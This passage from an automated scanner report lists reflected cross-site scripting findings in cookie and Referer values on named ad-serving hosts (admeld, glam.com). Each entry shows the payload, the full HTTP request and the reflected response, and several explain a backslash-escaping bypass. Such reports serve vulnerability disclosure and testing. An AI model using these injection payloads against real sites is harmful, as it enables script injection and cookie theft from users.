2LCAiYnV5IjoxNzgsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiTWVkaWFNYXRoIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6Mjk5OTA0LCAiYnV5Ijo1MDQsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MzAwMjQ5LCAiYnV5IjoxMjQ0LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkVxYWRzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTcxNTgwMiwgImJ1eSI6NDI1MiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnMjAifQ==
Content-Length: 2171
Content-Type: text/html
Date: Mon, 07 Feb 2011 02:25:16 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0; padding:0">

<div style="width:728px,height:90px;margin:0;border:0">

...[SNIP]...
<img width="0" height="0" src="http://p.brilig.com/contact/bct?pid=21008FFD-5920-49E9-AC20-F85A35BDDE15&_ct=pixel&puid=6acccca4-d0e4-464e-a824-f67cb28d5556964fa"><script>alert(1)</script>c4db8ea63ba&REDIR=http://tag.admeld.com/pixel?admeld_dataprovider_id=27&external_user_id=1&_m=1&admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556964fa">
...[SNIP]...

3.797. http://tag.admeld.com/ad/json/100/glamtoptier/160x600/420105803 [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/160x600/420105803

Issue detail

The value of the meld_sess cookie is copied into the HTML document as plain text between tags. The payload 2c8f3<img%20src%3da%20onerror%3dalert(1)>d124b89b7ea was submitted in the meld_sess cookie. This input was echoed as 2c8f3<img src=a onerror=alert(1)>d124b89b7ea in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/json/100/glamtoptier/160x600/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAd&floor_price=2&container=ADMELD70271158544 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d55562c8f3<img%20src%3da%20onerror%3dalert(1)>d124b89b7ea; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTAwLCAgc2l0ZTogICAgICAgICAiZ2xhbXRvcHRpZXIiLCAgYWQ6ICAgICAgICAgICAtMSwgIG5ldHdvcms6ICAgICAgImFkbWVsZHBzYSIsICBzaXplOiAgICAgICAgICIxNjB4NjAwIiwgIGZyZXE6ICAgICAgICAgIjAtMCIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiNzg0ZGNmOGMtZTAyNC00OWE4LThkZjktOTQ3NTkxOWQ3M2ZlIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NjJjOGYzPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPmQxMjRiODliN2VhIiwgIGNvdW50cnk6ICAgICAgIlVTIiwgIGNpdHk6ICAgICAgICAgIkRhbGxhcyIsICBkbWE6ICAgICAgICAgIDYyMywgIHJlZ2lvbjogICAgICAgIlRYIiwgIGlwOiAgICAgICAgICAgIjE3My4xOTMuMjE0LjI0MyIsICBkZXB0aDogICAgICAgIDEsICB0YXJnZXQ6ICAgICAgICJyb3MiLCAgZGl2OiAgICAgICAgICAiNzg0ZGNmOGMtZTAyNC00OWE4LThkZjktOTQ3NTkxOWQ3M2ZlIiwgIHVybDogICAgICAgICAgImh0dHA6Ly90aGVjaGl2ZS5jb20vIiwgIGVsYXBzZWQ6ICAgICAgMCwgIGRlY2lzaW9uOiAgICAgImVycm9yIiwgIGltcDogICAgICAgICAgMSwgIG5ldHdvcmtfaWQ6ICAgMCwgIGFjY291bnRfaWQ6ICAgMCwgIG5ldHdvcmtfbmFtZTogIkFkTWVsZCBQU0EiLCAgcHVibGlzaGVyX25hbWU6ICJnbGFtIiwgIGVjcG06ICAgICAgICAgIjIuMDAiLCAgZmVjcG06ICAgICAgICAiMi4wMCIsICBmaWxsOiAgICAgICAgICIxMDAuMDAiLCAgcGxhY2VtZW50OiAgICAicm9zIiwgIHJ1bGU6ICAgICAgICAgIjQyMDEwNTgwMyIsICBjcmVhdGl2ZV9pZDogICIiLCAgYmlkZGVyczogICAgICBbeyJuZXR3b3JrX25hbWUiOiJNYXhQb2ludCBJbnRlcmFjdGl2ZSAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg3MDUsICJidXkiOjE3NywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4OTcyLCAiYnV5Ijo1MDIsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJBY3VpdHkgQWRzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjQyMzM0MSwgImJ1eSI6NTIwOCwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnNSJ9
Content-Length: 1157
Content-Type: application/javascript
Date: Mon, 07 Feb 2011 02:25:15 GMT
Connection: close

GlamAdmeldRenderJsAd({"ad":{"id":-1,"adProviderId":0,"adProviderName":"admeldpsa","width":160,"height":600,"container":"ADMELD70271158544","bid":2.00,"requestId":"784dcf8c-e024-49a8-8df9-9475919d73fe"
...[SNIP]...
<script type=\"text/javascript\" src=\"http://pixel.invitemedia.com/admeld_sync?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d55562c8f3<img src=a onerror=alert(1)>d124b89b7ea&admeld_adprovider_id=300&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match\">
...[SNIP]...

3.798. http://tag.admeld.com/ad/json/100/glamtoptier/300x250/420105803 [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/300x250/420105803

Issue detail

The value of the meld_sess cookie is copied into the HTML document as plain text between tags. The payload df072<img%20src%3da%20onerror%3dalert(1)>6cd672f201 was submitted in the meld_sess cookie. This input was echoed as df072<img src=a onerror=alert(1)>6cd672f201 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/json/100/glamtoptier/300x250/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAd&floor_price=2&container=ADMELD49669737205 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556df072<img%20src%3da%20onerror%3dalert(1)>6cd672f201; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTAwLCAgc2l0ZTogICAgICAgICAiZ2xhbXRvcHRpZXIiLCAgYWQ6ICAgICAgICAgICAtMSwgIG5ldHdvcms6ICAgICAgImFkbWVsZHBzYSIsICBzaXplOiAgICAgICAgICIzMDB4MjUwIiwgIGZyZXE6ICAgICAgICAgIjAtMCIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiYjNmN2EyNWQtZDU1Ni00YTRlLWIyYjEtMTNkY2U5YjFmYzc0IiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NmRmMDcyPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPjZjZDY3MmYyMDEiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgInJvcyIsICBkaXY6ICAgICAgICAgICJiM2Y3YTI1ZC1kNTU2LTRhNGUtYjJiMS0xM2RjZTliMWZjNzQiLCAgdXJsOiAgICAgICAgICAiaHR0cDovL3RoZWNoaXZlLmNvbS8iLCAgZWxhcHNlZDogICAgICAwLCAgZGVjaXNpb246ICAgICAiZXJyb3IiLCAgaW1wOiAgICAgICAgICAxLCAgbmV0d29ya19pZDogICAwLCAgYWNjb3VudF9pZDogICAwLCAgbmV0d29ya19uYW1lOiAiQWRNZWxkIFBTQSIsICBwdWJsaXNoZXJfbmFtZTogImdsYW0iLCAgZWNwbTogICAgICAgICAiMi4wMCIsICBmZWNwbTogICAgICAgICIyLjAwIiwgIGZpbGw6ICAgICAgICAgIjEwMC4wMCIsICBwbGFjZW1lbnQ6ICAgICJyb3MiLCAgcnVsZTogICAgICAgICAiNDIwMTA1ODAzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjM5ODY5MywgImJ1eSI6MTc2LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1lZGlhTWF0aCAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg5NzcsICJidXkiOjUwMywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkFjdWl0eSBBZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyNDIzMzcxLCAiYnV5Ijo1MjEwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnNSJ9
Content-Length: 1154
Content-Type: application/javascript
Date: Mon, 07 Feb 2011 02:25:13 GMT
Connection: close

GlamAdmeldRenderJsAd({"ad":{"id":-1,"adProviderId":0,"adProviderName":"admeldpsa","width":300,"height":250,"container":"ADMELD49669737205","bid":2.00,"requestId":"b3f7a25d-d556-4a4e-b2b1-13dce9b1fc74"
...[SNIP]...
<script type=\"text/javascript\" src=\"http://pixel.invitemedia.com/admeld_sync?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556df072<img src=a onerror=alert(1)>6cd672f201&admeld_adprovider_id=300&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match\">
...[SNIP]...

3.799. http://tag.admeld.com/ad/json/100/glamtoptier/728x90/420105803 [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/728x90/420105803

Issue detail

The value of the meld_sess cookie is copied into the HTML document as plain text between tags. The payload be4ea<img%20src%3da%20onerror%3dalert(1)>a687f5e8869 was submitted in the meld_sess cookie. This input was echoed as be4ea<img src=a onerror=alert(1)>a687f5e8869 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/json/100/glamtoptier/728x90/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAd&floor_price=2&container=ADMELD20077728154 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556be4ea<img%20src%3da%20onerror%3dalert(1)>a687f5e8869; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

3.800. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [glam_bt cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The value of the glam_bt cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf3bf\'%3balert(1)//e6db092570d was submitted in the glam_bt cookie. This input was echoed as bf3bf\\';alert(1)//e6db092570d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=420105803&adSize=728x90 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711; glam_bt_set2=1; bkpix2=1; bdata=nbt%3d0; glam_bt=%3bbt%3dnbt%3bbf3bf\'%3balert(1)//e6db092570d; qcsegs=D,T,2854,2853,2703,2702,2695,2694,2691,1771

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 07 Feb 2011 02:25:24 GMT
Connection: close
Content-Length: 57972

// 
// 

window.glam_session = new Object();
window.glam_session.country_code = null;
/*
*/

window.glam_session.edge = true;

window.glam_session.glam_sid='112351129691745689711';

window.glam_session.glam_bt=';bt=nbt;bf3bf\\';alert(1)//e6db092570d';

window.glam_session.qcsegs='D,T,2854,2853,2703,2702,2695,2694,2691,1771';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam
...[SNIP]...

3.801. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [glam_sid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The value of the glam_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e6576\'%3balert(1)//6891cf71456 was submitted in the glam_sid cookie. This input was echoed as e6576\\';alert(1)//6891cf71456 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=420105803&adSize=300x250 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711e6576\'%3balert(1)//6891cf71456

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: glam_bt_set2=1; expires=Mon, 07 Feb 2011 14:24:39 GMT; path=/; domain=.glam.com;
Set-Cookie: bkpix2=1; expires=Mon, 07 Feb 2011 07:57:59 GMT; path=/; domain=.glam.com;
Set-Cookie: bdata=nbt%3d0; expires=Sat, 06 Aug 2011 02:24:39 GMT; path=/; domain=.glam.com;
Set-Cookie: glam_bt=%3bbt%3dnbt%3b; expires=Mon, 07 Feb 2011 14:24:39 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 07 Feb 2011 02:24:39 GMT
Connection: close
Content-Length: 58565

// 
// 

window.glam_session = new Object();
window.glam_session.country_code = null;
/*
*/

window.glam_session.edge = true;

window.glam_session.glam_sid='112351129691745689711e6576\\';alert(1)//6891cf71456';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;

window.glam_session.glam_bt=';bt=nbt;';
...[SNIP]...

3.802. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [qcsegs cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The value of the qcsegs cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f60a4\'%3balert(1)//165bf7ffd8d was submitted in the qcsegs cookie. This input was echoed as f60a4\\';alert(1)//165bf7ffd8d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=420105803&adSize=728x90 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711; glam_bt_set2=1; bkpix2=1; bdata=nbt%3d0; glam_bt=%3bbt%3dnbt%3b; qcsegs=D,T,2854,2853,2703,2702,2695,2694,2691,1771f60a4\'%3balert(1)//165bf7ffd8d

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 07 Feb 2011 02:25:25 GMT
Connection: close
Content-Length: 57972

// 
// 

window.glam_session = new Object();
window.glam_session.country
...[SNIP]...
window.glam_session.edge = true;

window.glam_session.glam_sid='112351129691745689711';

window.glam_session.glam_bt=';bt=nbt;';

window.glam_session.qcsegs='D,T,2854,2853,2703,2702,2695,2694,2691,1771f60a4\\';alert(1)//165bf7ffd8d';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;

window.glam_session.user_agent_type='2';

fu
...[SNIP]...

3.803. http://www35.glam.com/gad/glamadapt_jsrv.act [glam_sid cookie] previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www35.glam.com
Path:	/gad/glamadapt_jsrv.act

Issue detail

The value of the glam_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 84416'-alert(1)-'b8824080d4 was submitted in the glam_sid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=420105803;;pt=sk;;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=1;!c=nptr;ec=taut;ec=te;ec=teb;ec=tgt;ec=tls;ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;;afid=420105803;dsid=796794;;sz=888x11;tile=999;tt=j;;ord=2439329240005463.5 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=11235112969174568971184416'-alert(1)-'b8824080d4; glam_bt_set2=1; bkpix2=1; bdata=nbt%3d0; glam_bt=%3bbt%3dnbt%3b

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "9b65df991b1145ce29da5f507fe40541:1296501122"
X-Glam-Bdata: nbt,eh,rl,ru
X-Glam-AdId: 5000003866
X-Glam-Euid: b0bd8c493dc4cb83599b884c8f8882ec
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 07 Feb 2011 02:25:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:25:05 GMT
Connection: close
Content-Length: 2670

...[SNIP]...
teInfo ) {
window.GlamGetAffiliateInfo = function(pName) {
var glam_info = new Object();
var glam_affiliate_vars = 'js_mode=show;_ge_=3^2^b0bd8c493dc4cb83599b884c8f8882ec;sid=11235112969174568971184416'-alert(1)-'b8824080d4;browser=2;co=US;dma=511;;;afid=420105803;dsid=796794;;zone=/;ga_adsrv=auto;affiliateId=420105803;;pt=sk;;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=1;!c=nptr;ec=taut;ec=te;ec=teb;ec=tgt;ec=tls;ec=ttec;ia=pc;p
...[SNIP]...

Report generated by XSS.CX at Sun Feb 06 20:43:09 CST 2011.